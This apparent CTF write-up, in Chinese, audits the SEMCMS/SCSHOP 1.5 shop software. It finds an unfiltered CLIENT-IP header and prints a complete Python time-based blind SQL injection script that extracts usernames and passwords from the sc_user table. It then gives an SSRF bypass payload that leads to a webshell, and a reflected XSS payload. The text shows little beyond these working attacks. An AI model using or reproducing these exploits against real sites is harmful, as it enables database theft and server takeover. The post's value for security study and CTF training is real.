某cms代码审计

Delina

原文链接：某cms代码审计
​
SCSHOP1.5代码审计深育杯的一到题：
源码下载地址https://www.sem-cms.cn/wenda/view-52.html
看一下代码逻辑结构

​

1. include_once 'db_con.php'; 数据库配置
   
2. include_once 'Ant_Check.php'; sql注入检测
   
3. include_once 'Ant_Class.php'; 数据操作
   
4. include_once 'Ant_Contrl.php'; 一些函数封装
   
5. include_once 'class.phpmailer.php'; 邮件操作
   
6. include_once 'Ant_Config.php'; 全局设置
   
7. include_once 'Ant_Shop.php';  商品属性的一些设置函数

复制代码

​

发现它只是对GET就行了过滤！
看看有没有其它方式的参数获取！
Core/Program/Ant_Contrl.php 里
GetIp 函数返回ip! 这里我们可控！而且不受过滤！

​

调用的地方有：
​
测试：​
注入成功
poc

1. #!/usr/bin/env python
   
2. # -*- coding: utf-8 -*-
   
3. # @Time    : 2021/11/28 18:28
   
4. # @Author  : upload
   
5. # @File    : aa.py
   
6. # @Software: PyCharm
   
7. import requests
   
8. 
   
9. proxy = '127.0.0.1:8086'
   
10. proxies = {
    
11.     'http': 'http://' + proxy,
    
12.     'https': 'https://' + proxy,
    
13. }
    
14. url = "http://anxun.com:80/Template/Default/File/search.php"
    
15. cookies = {"XDEBUG_SESSION": "PHPSTORM", "PHPSESSID": "moigehp8edd6g71hltptjjogs4", "UM_distinctid": "17d6e9309a5d7-0e967d747fce92-d7e163f-144000-17d6e9309a6a63", "CNZZDATA1279754351": "673588782-1638237672-null%7C1638237672"}
    
16. headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "Origin": "http://anxun.com", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://anxun.com/Template/Default/File/search.php", "CLIENT-IP": "'or sleep(3) or'", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
    
17. data = {"search": "1"}
    
18. 
    
19. print(headers['CLIENT-IP'])
    
20. flag=''
    
21. for i in range(1,100):
    
22.     f1=flag
    
23.     top=127
    
24.     low=33
    
25.     while low<=top:
    
26.         mid = (top + low) // 2
    
27.         print(i,mid)
    
28.         payload1 = '\'or if((ord(substr((select(group_concat(user_name,"~",user_ps,"~",user_name))from(sc_user)),{},1))={}),sleep(3),0) or\''.format(i,mid)
    
29.         payload2 = '\'or if((ord(substr((select(group_concat(user_name,"~",user_ps,"~",user_name))from(sc_user)),{},1))>{}),sleep(3),0) or\''.format(i,mid)
    
30. 
    
31.         headers['CLIENT-IP'] = payload1
    
32. 
    
33.         try:
    
34.             r1 = requests.post(url, data=data,headers=headers,timeout=2,proxies=proxies)
    
35.             print(headers)
    
36.         except:
    
37.             flag +=chr(mid)
    
38.             print(flag)
    
39.             break
    
40.         else:
    
41.             try:
    
42.                 headers['CLIENT-IP'] = payload2
    
43.                 r2 = requests.post(url, data=data,headers=headers,timeout=2,proxies=proxies)
    
44.             except:
    
45.                 low = mid + 1
    
46.             else:
    
47.                 top = mid - 1
    
48.     if flag == f1:
    
49.         break
    
50. print(flag)

复制代码

​

解密后 semcms
其它地方的sql注入应该也可以！
后台挖掘有一个任意文件读取！
从远程读取文件！

​

最后可以保存它

​

不过要绕过限制：
​
用
payload:
url=http://sem-cms.cn@0.0.0.0/index.php
成功写入：

​

getshell

​

​

xss反射型
http://anxun.com/r20A88_A2M/Ant_ ... p;aed=a&sortID="<script>alert('XSS')</script>"

​

​